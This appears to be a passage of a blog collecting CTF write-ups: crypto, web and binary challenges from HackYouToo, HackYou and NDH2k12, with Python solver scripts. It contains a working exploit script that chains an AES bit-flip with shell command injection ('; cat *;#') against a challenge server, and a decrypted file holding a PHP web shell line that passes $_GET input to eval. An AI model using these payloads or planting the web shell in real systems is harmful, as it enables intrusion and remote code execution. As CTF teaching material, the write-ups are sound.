00000020 73 76 44 76 8a 48 9d b7 d3 7d 03 02 2f 8c b4 a4 |svDv.H.·Ó}../.´¤|
00000030 10 ae d2 30 61 36 27 79 8c 5a 1b 2f 1d a7 ae cf |.®Ò0a6'y.Z./.§®Ï|
00000040 33 fe 40 88 e3 59 60 bc 8b 56 3b 08 bc 72 55 ec |3þ@.ãY`¼.V;.¼rUì|
00000050 76 32 df 71 8b 2e bb f9 c9 79 e6 64 9f 48 61 97 |v2ßq..»ùÉyæd.Ha.|
00000060 54 1c 65 d3 93 cd 18 34 1c 98 9f 80 7f 52 ca 11 |T.eÓ.Í.4.....RÊ.|
00000070 73 b8 ab 0f f3 95 a2 e0 03 87 b7 65 97 bc 95 65 |s¸«.ó.¢à..·e.¼.e|

Indeed the HMAC part looks different but remember that the HMAC is AES encrypted as well so you can't rely on the ciphertext to tell if HMAC is working properly or not.

For this we need to master the Ancient Black Art of Source Code Staring. Look at this piece of code, LOOK AT IT UNTIL YOU SEE IT.

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

Yes, there is a typo in the second parameter of hash_hmac(), it's missing the dollar sign. PHP will happily interpret this as 'data' being a fixed string instead of dynamic user content.

So basically the HMAC will always be sha1("data".MY_HMAC_KEY). Otherwise said the HMAC is not protecting the cookie content at all, we can freely modify it.

Lets take look again at the cookie content:

a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";}

The "greeting" key of this array will be used directly with passthru():

passthru($settings['greeting']);

passthru() will invoke execve("/bin/sh", "-c", $cmd), so we can use Bash shell command injection technics.

What we need to do:
- Get rid of the pesky single quote after cowsay : bitflip in AES block to turn single quote into garbage
- Inject our shell command to display the content of index.php : cat *
- Get rid of another pesky single quote and the bash symbol, to avoid them being interpreted : use the Bash comment symbol: #

Playing with bitflip in AES ciphertext will corrupt the whole 16 bytes AES block with garbage so we need to align this block with the part of the string we want to destroy (cowsay + single quote)

Using a bit of trial and error we come up with this username:

______________________________________________________; cat *;#

We post it on the form and get the familiar cow and our encrypted cookie:

Capture3

Foey1ZSxpB8ouL8Z/LRCryTetO4z/rI+1h7/MAMgCHEjapwTE+5/JnDFeXR0GYjLVT+36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa+Oei+o/vcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R+90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY+GnK4aStOJXtIVfczF+FWCJEITmgZMDFmrVafG+LwPUByot8KRka57RAE8PgD8bu+ErVXpqIZwW9bOfJUD74E

We are ready for the bit-flipping with a little Python script that will repeatedly corrupt the AES block with different a value until we get one that produce garbage still good enough to be accepted by Bash as a valid command-line:

import telnetlib
import urllib
import base64

ip = '54.216.166.38'
port = 80

a = base64.b64decode(urllib.unquote("Foey1ZSxpB8ouL8Z%2FLRCryTetO4z%2FrI%2B1h7%2FMAMgCHEjapwTE%2B5%2FJnDFeXR0GYjLVT%2B36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa%2BOei%2Bo%2FvcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R%2B90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY%2BGnK4aStOJXtIVfczF%2BFWCJEITmgZMDFmrVafG%2BLwPUByot8KRka57RAE8PgD8bu%2BErVXpqIZwW9bOfJUD74E"))

for i in xrange(1,20):
    print "i=", i

    b = a[0:118] + chr(i) + a[119:]

    tn = telnetlib.Telnet(ip, port)

    s = tn.get_socket()

    payload  = "GET / HTTP/1.0\r\n"
    payload += "Host: "+ ip + "\r\n"
    payload += "Cookie: settings=" + urllib.quote(base64.b64encode(b)) + "\r\n"
    payload += "\r\n"

    s.send(payload)

    print s.recv(4096)

This will eventually spit out the index.php source code with the hidden flag.

Share
Tagged as: , , Comments Off
23Dec/12Off

HackYouToo CTF – Crypto 300 – Everybody Lies

Posted by aXs

Mr. Menhall has invented his own encryption algorithm and promised to give the flag to anyone who manages to decipher the message:

vWsMajX21l6BdKwDxaRA3utqhpvFL0V=

def hashcrypt(msg, key):
    token = hashlib.sha1(key).digest()
    res = ""
    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2 ^ ord(token[0])
        n ^= 0xf3 ^ ord(token[1])
        n ^= 0x27 ^ ord(token[2])
        n ^= 0x4c ^ ord(token[3])
        n ^= 0x21 ^ ord(token[4])
        n ^= 0xfe ^ ord(token[5])
        n ^= 0xa3 ^ ord(token[6])
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11 ^ ord(token[6])
        n ^= 0x54 ^ ord(token[5])
        n ^= 0xca ^ ord(token[4])
        n ^= 0x3c ^ ord(token[3])
        n ^= 0x20 ^ ord(token[2])
        n ^= 0xd1 ^ ord(token[1])
        n ^= 0xf2 ^ ord(token[0])
        res += chr(n)
        token = hashlib.sha1(chr(n)).digest()
    return res.encode('base64').encode('rot13')

We need to code the reverse function to decrypt the cypher text.

Looking more closely, we notice most of the tokens (token[0] -> token[6]) are nulling each other because the operator between them is XOR: A^B^B = A

Also the token will get overwritten at each step with the sha1 hash of the previous cypher byte: We can decrypt all the chars except the first one.

import hashlib

def hashdecrypt(msg, key):
    msg = msg.decode('rot13').decode('base64')
    token = hashlib.sha1(key).digest()
    res = ""

    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2
        n ^= 0xf3
        n ^= 0x27
        n ^= 0x4c
        n ^= 0x21
        n ^= 0xfe
        n ^= 0xa3
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11
        n ^= 0x54
        n ^= 0xca
        n ^= 0x3c
        n ^= 0x20
        n ^= 0xd1
        n ^= 0xf2
        res += chr(n)
        token = hashlib.sha1(c).digest()
    return res

msg = "vWsMajX21l6BdKwDxaRA3utqhpvFL0V="
plaintext = hashdecrypt(msg, "unknown")

print "plaintext=", plaintext

Output:

plaintext= 9_lied_no_flag_for_you!

Guessing time... "i_lied_no_flag_for_you!" was the correct flag.

Share
Tagged as: Comments Off
23Dec/12Off

HackYouToo CTF – Crypto 500 – AllahAkbar

Posted by aXs

We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization.
According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.

Let us know the md5 hash of deciphered 'bin' file.

Intelligence data: allahakbar.zip

See: http://hackyou.ctf.su/tasks/allahakbar

We have a "bin" file which is encrypted using this organization's new encryption algorithm, we need to decrypt the file and submit its md5 as flag. So we really need to get all the bytes right.

Ciphertext:

100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124

Algorithm for encryption is explained here: http://pastebin.com/2diahT7L

function enc(plaintext){
        key = random() mod (length(plaintext) * 2);
 
        ct = [];
 
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
       
        return ct;
}

Some remarks:
- The length of the document is known so key will be 0 >= key > len(document)*2
- The cipher function is y = x + (x mod a) which mean we have multiple solutions for x for a given y

Producing solution candidates:

import sys

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

for key in range(1, len(cipher) * 2):
    i = key
    has_solution = 1
    flag = ''
    for c in cipher:
        stop = 0
        solutions = []
        for x in range(1,256):
            b = x + (x % i)
            if c == b:
                solutions.append(x)
                stop = stop + 1
                flag = flag + chr(x)
        if stop == 0:
            has_solution = 0
            break
        if key == 34: # guessed from list of possible solutions
            for solution in solutions:
                sys.stdout.write(chr(solution) + '(' + hex(solution) + ') ')
            print ""
        i = i + 1
    if has_solution == 1:
        print "key=", key, "flag=", repr(flag)

Output:

key= 2 flag= "cd\x8a\x87\x89u\x10\x13~}\x81\x82mr\n\x83\x89oy\x80\x82ltf\n\x13\x8b\x87\x91\ncn\x7f^j\x8d|\x89\x8a\nn\x90\x9f\n\x93\xa3rx\x89x@R\nbuft\x88\x81u\x8a Uk\x93Qh\\(@$Ohz_y\x890K']yQ\\yY5SY_~ec\x83\xa02S_2TU'J\xa4)M;/T/HnACjKEmD B\x83\xad AlLLxA\x95\xc2CR\x803W\x86\n//FwREwE PAuLEzST\x8aIN\x85A!!!!!!!!!\n?|>"
key= 4 flag= "bd\x86\x87\x8aw\x0e\x12~}\x82\x85kq\n\x86\x8dhy\x81\x8airY\n\x14}\x82\x8d\n[g\x84an\x92\x80\x8er\nq\x94\xa4\n\x86\x97ui{{AT\ndxhv\x8b\x84w\x8d Vm\x96Rj](A$Pj|`{\x8b0L'^{R]{Z5TZ`\x80fd\x85\xa22T`2UV'K\xa6)N;/U/HoACkKEnD B\x84\xaf AmLLyA\x96\xc4CR\x813W\x87\n//FxRExE PAvLE{ST\x8bIN\x86A!!!!!!!!!\n?}>"
key= 6 flag= "_b\x84\x85\x89v\x0f\x14vw}\x84ls\n\x7f\x87nw\x80\x7fnx]\n\x82\x87\x93\n^k\x89dr\x97u\x84u\nt\x87\x98\n\x89\x9bxk~~BV\nQfjx\x8e\x87y\x90 Wo\x99Sl^(B$Ql~a}\x8d0M'_}S^}[5U[@agCe\xa42Ua2VW'L\xa8)O;/V/HpAClKEoD B\x85\xb1 AnLLzA\x97\xc6CR\x823W\x88\n//FyREyE PAwLE|ST\x8cIN\x87A!!!!!!!!!\n?~>"
key= 8 flag= "^b\x84\x81\x86m\n\x10sy\x80\x7fks\n}\x86ts}\x85hsa\n\x87\x7f\x8c\nSaqXg\x9cx\x88x\nw\x8a\x9c\n\x8c\x9f{m\x81\x81CX\nRhlz\x91[{\x93 Xq\x9cTn_(C$6R\x80b\x7f\x8f0N'`\x7fT?_\\5V\\@bhCf\xa62Vb2WX'M\xaa)P;/W/HqACmKEpD BY\x86 AoLL{A\x98\xc8CR\x833W\x89\n//FzREzE PAxLE}ST\x8dIN\x88A!!!!!!!!!\n?>"
key= 10 flag= "_d\x87\x81\x87v\n\x11{y\x81vhq\n\x83\x8demx\x8blxe\n\x8c\x83\x91\nUdtZj\x80{\x8c{\nz\x8d\xa0\n\x8f\xa3~o\x84\x84DZ\nSjn|\x94\\}\x96 Ys\x9fUp`(D$6S\x82c\x81\x910O'a\x81U?`]5W]@ciCg\xa82Wc2XY'N\xac)Q;/X/HrACnKEqD BY\x87 ApLL|A\x99\xcaCR\x843W\x8a\n//F{RE{E PAyLE~ST\x8eIN\x89A!!!!!!!!!\n?>"
key= 12 flag= "\\b\x86}\x84p\n\x12rw\x80|cm\n~\x89iq}xcpN\n\x91\x87\x96\nWgw\\m\x83~\x90~\n}\x90\xa4\n}\x92\x81q\x87\x87E\\\nTlp~\x97]e\x7f ZukVra(E$6T\x84d\x83\x930P'AbV?a^5X^@djCh\xaa2Xd2YZ'\xae)R;/Y/HsACoKErD BY\x88 AqLL}A\x9a\xccCR\x853W\x8b\n//F|RE|E PAzLE\x7fST\x8fIN\x8aA!!!!!!!!!\n?>"
key= 14 flag= "\\c\x81}\x85w\n\x13xs}\x82gr\nw\x83mu\x82|ftP\nw{\x8b\nYjz^p\x86n\x81\x81\n\x80\x93\xa8\n\x7f\x95Ws\x8a[.F\nUnrf\x80^f\x81 [wlWtb(F$6U\x86e\x85\x950Q'AcW?b_5Y_@ekCi\xac2Ye2Z['\xb0);/Z/HtACpKEsD BY\x89 ArLL~A\x9b\xceCR\x863W\x8c\n//F}RE}E PA{LE\x80ST\x90IN\x8bA!!!!!!!!!\n?>"
key= 16 flag= "Zb\x89{\x84k\n\x14~mxq_k\n{\x88qky\x80ixR\nz~\x8f\n[m}`s\x89p\x84\x84\n\x83\x80\x96\n\x81\x98X]u\\.G\nVptg\x82_g\x83 \\ym:Xc(G$6V\x88f\x87\x970R'AdX?c`5Z`@flCj\xae2Zf2[\'\xb2);/[/HuACqKEtD BY\x8a AsLL\x7fA\x9c\xd0CR\x873W\x8d\n//F~RE~E PA|LE\x81ST\x91IN\x8cA!!!!!!!!!\n?>"
key= 18 flag= "V_~w\x81p\nmq}ubo\n\x7f\x8dun}\x84\\lT\n}\x81\x93\nJ]\x80Nb\x8cr\x87\x87\nY\x82\x99\n\x83\x9bY^w].H\nWrvh\x84`h\x85 ]{n:Yd(H$6W\x8ag\x89\x990S'AeY?da5[a@gmCk\xb02[g2\\]'\xb4);/\\/HvACrKEuD BY\x8b AtLL\x80Ah\x9dCR\x883W\x8e\n//F\x7fRE\x7fE PA}LE\x82ST\x92IN\x8dA!!!!!!!!!\n?>"
key= 20 flag= "Zd\x84|\x87u\nqu\x82yes\nt\x83Zq\x81\x88^oV\n\x80q\x84\nK_\x83Od\x8ft\x8a\x8a\nZ\x84\x9c\n\x85\x9eZ_y^.I\nXtxi\x86ai\x87 ^}o:Ze(I$6X\x8cEh\x9b0T'AfZ?eb5\\b@hnCl\xb22\\h2]^'\xb6);/]/HwACsKEvD BY\x8c AuLL\x81Ah\x9eCR\x893W\x8f\n//F\x80RE\x80E PA~LE\x83ST\x93IN\x8eA!!!!!!!!!\n?>"
key= 22 flag= "S^\x8au\x81a\nuky}Yh\nw\x87\\ct\x8c`rX\n\x83s\x87\nLa\x86Pf\x92v\x8d\x8d\n[\x86\x9f\n\x87\xa1[`{_.J\nYvzj\x88bj\x89 ?_p:[f(J$6Y\x8eEi\x9d0U'Ag[?fc5]c@ioCm\xb42]i2^_'\xb8);/^/HxACtKEwD BY\x8d AvLL\x82Ah\x9fCR\x8a3W\x90\n//F\x81RE\x81E PA\x7fLE\x84ST\x94IN\x8fA!!!!!!!!!\n?>"
key= 24 flag= "Vbwy\x86d\nyn}\x81[k\nz\x8b^ewkbuZ\n\x86u\x8a\nMc\x89Qh\x95x\x90_\n\\\x88\xa2\n\x89\xa4\\a}`.K\nZx|k\x8ack\x8b ?`q:\\g(K$6ZGEj\x9f0V'Ah\\?gd5^d@jpCn\xb62^j2_`'\xba);//HyACuKExD BY\x8e AwLL\x83Ah\xa0CR\x8b3W\x91\n//F\x82RE\x82E PA\x80LE\x85ST\x95IN\x90A!!!!!!!!!\n?>"
key= 26 flag= "LY{o}g\n}q\x81\x85]n\nk}`gzmdx\\\n\x89w\x8d\nNe]Rj\x98az`\n]\x8a\xa5\no\x8b]b\x7fa.L\n<[~l\x8cdl\x8d ?ar:]h(L$6[GEk\xa10W'Ai]?he5_e@kqCo\xb82_k2`a']);//HzACvKEyD BY\x8f AxLL\x84Ah\xa1CR\x8c3W\x92\n//F\x83RE\x83E PA\x81LE\x86ST\x96IN\x91A!!!!!!!!!\n?>"
key= 28 flag= "N\\\x7fr\x81j\n`ctf_q\nm\x80bi}oQf^\n\x8cy\x90\nOg^Sl\x9bb|a\n^\x8c\xa8\np\x8d^c\x81b.M\n<\\?m\x8eem\x8f ?bs:^i(M$6\\GEl\xa30X'Aj^?if5`f@lrCp\xba2`l2ab']);//H{ACwKEzD BY\x90 AyLL\x85Ah\xa2CR\x8d3W\x93\n//F\x84RE\x84E PA\x82LE\x87ST\x97IN\x92A!!!!!!!!!\n?>"
key= 30 flag= "P_\x83u\x85m\nbewhat\no\x83dk\x80qRh`\n\x8f{\x93\nPi_Tnic~b\n_q\x8e\nq\x8f_d\x83c.N\n<]?n\x90fn\x91 ?ct:_j(N$6]GEm\xa50Y'Ak_?jg5ag@msCq\xbc2am2bc']);//H|ACxKE{D BY\x91 AzLL\x86Ah\xa3CR\x8e3W\x94\n//F\x85RE\x85E PALE\x88ST\x98IN\x93A!!!!!!!!!\n?>"
key= 32 flag= "Rb\x87x\x89p\ndgzjOc\nq\x86fWmsSjb\na}\x96\nQk`Upjd\x80c\n`r\x90\nr\x91`e\x85d.O\n<^?o\x92go\x93 ?du:`k(O$6^GEn\xa70Z'Al`?kh5bh@ntCr\xbe2bn2cd']);//H}ACyKE|D BY\x92 A{LL\x87Ah\xa4CR\x8f3W\x95\n//F\x86RE\x86E PALE\x89ST\x99IN\x94A!!!!!!!!!\n?>"
C(0x43) T(0x54)
h(0x68)
i(0x69) {(0x7b)
s(0x73)

(0xa)
f(0x66)
i(0x69) }(0x7d)
l(0x6c)
P(0x50) e(0x65)

(0xa)
s(0x73) ?(0x89)
h(0x68)
X(0x58) o(0x6f)
u(0x75)
T(0x54) l(0x6c)
d(0x64)

(0xa)
b(0x62)
e(0x65) (0x7f)

(0xa)
R(0x52) m(0x6d)
a(0x61)
V(0x56) r(0x72)
k(0x6b)
e(0x65) ?(0x82)
d(0x64)

(0xa)
a(0x61)
s(0x73) ?(0x92)

(0xa)
s(0x73) ?(0x93)
a(0x61)
f(0x66) ?(0x87)
e(0x65)
.(0x2e) P(0x50)

(0xa)
<(0x3c) _(0x5f)
?(0x3f)
p(0x70) ?(0x94)
h(0x68)
p(0x70) ?(0x95)
 (0x20)
?(0x3f) e(0x65)
v(0x76)
:(0x3a) a(0x61)
l(0x6c)
((0x28) P(0x50)
$(0x24)
6(0x36) _(0x5f)
G(0x47)
E(0x45) o(0x6f)
T(0x54)
0(0x30) [(0x5b)
'(0x27)
A(0x41) m(0x6d)
a(0x61)
?(0x3f) l(0x6c)
i(0x69)
5(0x35) c(0x63)
i(0x69)
@(0x40) o(0x6f)
u(0x75)
C(0x43) s(0x73)
_(0x5f)
2(0x32) c(0x63)
o(0x6f)
2(0x32) d(0x64)
e(0x65)
'(0x27)
](0x5d)
)(0x29)
;(0x3b)
/(0x2f)
/(0x2f)
H(0x48) ~(0x7e)
A(0x41)
C(0x43) z(0x7a)
K(0x4b)
E(0x45) }(0x7d)
D(0x44)
 (0x20)
B(0x42)
Y(0x59) ?(0x93)
 (0x20)
A(0x41) |(0x7c)
L(0x4c)
L(0x4c) ?(0x88)
A(0x41)
h(0x68) ?(0xa5)
C(0x43)
R(0x52) ?(0x90)
3(0x33)
W(0x57) ?(0x96)

(0xa)
/(0x2f)
/(0x2f)
F(0x46) ?(0x87)
R(0x52)
E(0x45) ?(0x87)
E(0x45)
 (0x20)
P(0x50)
A(0x41)
L(0x4c)
E(0x45) ?(0x8a)
S(0x53)
T(0x54) ?(0x9a)
I(0x49)
N(0x4e) ?(0x95)
A(0x41)
!(0x21)
!(0x21)
!(0x21)
!(0x21)
!(0x21)
!(0x21)
!(0x21)
!(0x21)
!(0x21)

(0xa)
?(0x3f)
>(0x3e)
key= 34 flag= "CThi{s\nfi}lPe\ns\x89hXouTld\nbe\x7f\nRmaVrke\x82d\nas\x92\ns\x93af\x87e.P\n<_?p\x94hp\x95 ?ev:al(P$6_GEoT0['Ama?li5ci@ouCs_2co2de']);//H~ACzKE}D BY\x93 A|LL\x88Ah\xa5CR\x903W\x96\n//F\x87RE\x87E PALE\x8aST\x9aIN\x95A!!!!!!!!!\n?>"

I hand-picked key=34 as the most promising solution because of the amount of readable text and then printed all the possible solutions for each ciphertext bytes.

Then I reconstructed the file using what seemed like the most probable value if there was several solutions.

Final decrypted file:

This
file
should
be
marked
as
safe.
<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>

Curious to see if there is some way to find the good solution programmaticaly.

Share
Tagged as: Comments Off
23Dec/12Off

HackYouToo CTF – Binary 300 – Shredder Write-up

Posted by aXs

Have you tried feeding critical documents to a shredder? We've accidentally done this very thing.

Shredder: shredder.exe
Document remains: broken_flag.jpg

We need our document back!

See: http://hackyou.ctf.su/tasks/shredder

Shredder is a Win32 binary that encrypt source file "flag.jpg" to "broken_flag.jpg". The encryption is only some translations and swaps and can be easily reversed.

### Guess mod_5 value using pattern file (map(chr,range(0,256))
### only 5 values possible anyways

mod_5 = 3

### Step 1 - Revert byte swap for position 8 and 13 every 16 bytes

buffer = map(ord, open("broken_flag.jpg", "rb").read())

j = 8
while (j<len(buffer)):
    (buffer[j], buffer[j + 5]) = (buffer[j + 5], buffer[j])
    j = j + 16

buffer = map(chr, buffer)

### Step 2 - Revert byte swap for value 53, 88, 109 and mod_5

out = ''
for j in range(0, len(buffer)):
    a = ord(buffer[j])

    a = (a - 1) & 0xFF ## revert ++buffer[j];

    if a == 53:
        a = 109
    else:
        if a == 109:
            a = 53

    if a == 88:
        a = mod_5 + 89
    else:
        if a == mod_5 + 89:
            a = 88

    out = out + chr(a)

open("plain.jpg", "wb").write(out)

plain

Share
19Oct/12Off

HackYou CTF – Epic Arc 300 – CTF.EXE Writeup

Posted by aXs

In this challenge we get a Win32 console binary which just display garbage when started.

Reversing it with IDA, we see it connects to a TCP server.

I had noticed previously that the file being transfered in the Epic Arc 200 challenge was an Erlang BEAM file (compiled erlang)

This BEAM file was a TCP server. You guessed it, this is the server part for this ctf.exe, but not quite exactly the same server that on the challenge box. I will spare you the Erlang disassembly, it's not really interesting. You can obtain it with erts_debug:df(Module).

We can still reverse enough from this BEAM file to understand what the server is doing and the client is doing in reply.

What the server part will do:

- Send a banner (17 bytes)
- Send a session key (8 bytes)
- Send a CRLF (2 bytes)
- Send "IV" (4 random bytes)
- Wait for our handshake
- Reply in an encrypted form with an error message or the flag if your handshake is correct

A correct handshake needs to be:
- "FlagRequest:omkesey" + IV + "\n\r" (this string can be found in CTF.exe)
- XOR encrypted with "_hackme_" itself XORed with the session key sends by the server

To decrypt the server reply, you use this same XOR key.

import socket
import sys

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,3137))

banner = s.recv(17) # banner
print "banner=", repr(banner)

key = s.recv(8)
print "key=", key.encode("hex"), "len=", len(key)

hackme = "_hackme_"

key2 = ''
i = 0
while i < 8:
  key2 = key2 + chr(ord(key[i]) ^ ord(hackme[i]))
  i = i +1

print "key2=", key2.encode("hex")

key = key2

crlf = s.recv(2)  # \n\r
print "CRLF=", repr(crlf)

iv = s.recv(4)  # random bytes
print "IV=", iv.encode("hex")

request = "FlagRequest:omkesey" + iv + "\n\r"

print "request=", repr(request), "len=", len(request)

handshake = ''

for i in xrange(0, len(request)):
  handshake = handshake + chr(ord(request[i]) ^ ord(key[i % 8]))

print "handshake=", repr(handshake), "len=", len(handshake)
print "handshake=", handshake.encode("hex")

s.send(handshake)

reply = s.recv(128)

print "Raw=", repr(reply)
print "Raw=", reply.encode("hex")

message = ''
for i in xrange(0, len(reply)):
  message = message + chr(ord(reply[i]) ^ ord(key[i % len(key)]))

print "message=", repr(message)
print "message=", message.encode("hex")
Share
18Oct/12Off

HackYou CTF – Crypto 300 – UDP Hardcore Writeup

Posted by aXs

In this challenge we need to guess the secret key used by an encryption service running over UDP.

We get the source of the server-side.

The encryption algorithm uses a Sbox that is initialized with sequential numbers from 1 to 128:

SALTED_SBOX = list(range(128))

Then the secret key is mixed in the Sbox using element permutations:

add_key(SALTED_SBOX, KEY)

def add_key(sbox, k):
  for i, c in enumerate(k):
    sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
    for i in xrange(len(sbox)):
      sbox[i] = (sbox[i] + 1) % 128
  return

The packet format for this service is then one UDP packet per request as this:

[[C1][C2]..[Cn]] where n < 64

Command block is divided in 2 equals parts:

mid = len(data) &gt;&gt; 1
k = data[:mid].rstrip("\x00")
m = data[mid:].rstrip("\x00")

c = encrypt(SALTED_SBOX, k, m)
f.sendto(c.encode("hex"), addr)

One part, k, is used to mix more data in the Sbox part and the other part, m, is used for encryption

def encrypt(sbox, k, m):
  sbox = sbox[::]
  add_key(sbox, k)

  c = ""
  for ch in m:
    c += chr(sbox[ord(ch)])
    sbox = combine(sbox, sbox)
  return c

The combine function is full of evil remix so we need to avoid it if we want to keep track of the state of the Sbox:

def combine(a, b):
  ret = [-1] * len(b)
  for i in range(len(b)):
    ret[i] = a[b[i]]
  return tuple(ret)

As the Sbox is copied over anew for each request (sbox = sbox[::]), if we send a single m part, we will avoid the combine.

So our strategy:
- Send 127 2-bytes packets with an empty k part (NUL character) and just one m part request to dump the Sbox from the server
- The dump will miss offset 0 of the Sbox so we use one add additionnal packet to swap offset 0 and 1 in the Sbox and request offset 1 again to fill in our local Sbox offset 0
- Revert the mixing algorithm using the dumped Sbox to recover the key

Source code:

#!/usr/bin/env python

import os, sys
import socket

host = sys.argv[1]

addr = (host, 7777)

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

sbox = list(range(128))

for i in xrange(1,128):

  msg = chr(0) + chr(i)
  s.sendto(msg,addr)
  reply, addr = s.recvfrom(1024)
  sbox[i] = ord(reply.decode("hex"))

msg = chr(1) + chr(1)
s.sendto(msg,addr)
reply, addr = s.recvfrom(1024)
sbox[0] = ord(reply.decode("hex")) - 1

print "Dumped Sbox=", repr(sbox)

local_sbox = list(range(128))

key_length = sbox[127]

print "Key length=", key_length + 1

for k in xrange(0,128):
  sbox[k] = (sbox[k] - key_length - 1)  % 128

flag = ''

i = 0
while i < key_length+1:
  a = sbox[i]
  if a:
    c = local_sbox.index(a)
    print "Position=", i, "Remote Sbox=", a, "Local Sbox offset=", c,  "Char=", repr(chr(c))
    flag = flag + chr(c)
    local_sbox[i], local_sbox[c] = local_sbox[c], local_sbox[i]
    for z in xrange(len(local_sbox)):
      local_sbox[z] = (local_sbox[z] + 1) % 128
      sbox[z] = (sbox[z] + 1) % 128
  i = i + 1

print "flag=", flag

Run it:

Dumped Sbox= [86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
Key length= 26
Position= 0 Remote Sbox= 60 Local Sbox offset= 60 Char= '<'
Position= 1 Remote Sbox= 106 Local Sbox offset= 105 Char= 'i'
Position= 2 Remote Sbox= 117 Local Sbox offset= 115 Char= 's'
Position= 3 Remote Sbox= 99 Local Sbox offset= 96 Char= '`'
Position= 4 Remote Sbox= 120 Local Sbox offset= 116 Char= 't'
Position= 5 Remote Sbox= 109 Local Sbox offset= 104 Char= 'h'
Position= 6 Remote Sbox= 55 Local Sbox offset= 49 Char= '1'
Position= 7 Remote Sbox= 9 Local Sbox offset= 115 Char= 's'
Position= 8 Remote Sbox= 11 Local Sbox offset= 96 Char= '`'
Position= 9 Remote Sbox= 116 Local Sbox offset= 107 Char= 'k'
Position= 10 Remote Sbox= 61 Local Sbox offset= 51 Char= '3'
Position= 11 Remote Sbox= 4 Local Sbox offset= 121 Char= 'y'
Position= 12 Remote Sbox= 20 Local Sbox offset= 96 Char= '`'
Position= 13 Remote Sbox= 121 Local Sbox offset= 108 Char= 'l'
Position= 14 Remote Sbox= 62 Local Sbox offset= 48 Char= '0'
Position= 15 Remote Sbox= 125 Local Sbox offset= 110 Char= 'n'
Position= 16 Remote Sbox= 73 Local Sbox offset= 57 Char= '9'
Position= 17 Remote Sbox= 29 Local Sbox offset= 96 Char= '`'
Position= 18 Remote Sbox= 119 Local Sbox offset= 101 Char= 'e'
Position= 19 Remote Sbox= 34 Local Sbox offset= 110 Char= 'n'
Position= 20 Remote Sbox= 34 Local Sbox offset= 48 Char= '0'
Position= 21 Remote Sbox= 10 Local Sbox offset= 117 Char= 'u'
Position= 22 Remote Sbox= 125 Local Sbox offset= 103 Char= 'g'
Position= 23 Remote Sbox= 28 Local Sbox offset= 104 Char= 'h'
Position= 24 Remote Sbox= 87 Local Sbox offset= 63 Char= '?'
Position= 25 Remote Sbox= 87 Local Sbox offset= 62 Char= '>'
flag= <is`th1s`k3y`l0n9`en0ugh?>
Share
2Jul/12Off

NDH2k12 Public Wargame – Break Me Like Your Sister – zomb_crypt

Posted by aXs

$ ls -la
total 64
-rw-r--r-- 1 francois francois 38120 Jun 30 01:29 crypto-1.jpg
-rw-r--r-- 1 francois francois 3226 Jun 13 20:50 zomb_crypt.pyc

$ file *
crypto-1.jpg: JPEG image data, JFIF standard 1.01
zomb_crypt.pyc: python 2.6 byte-compiled

$ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import zomb_crypt
>>> import dis
>>> dir(zomb_crypt)
['Blowfish', 'PasswordError', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'decode', 'decrypt', 'encrypt', 'getbf', 'hash', 'sys']
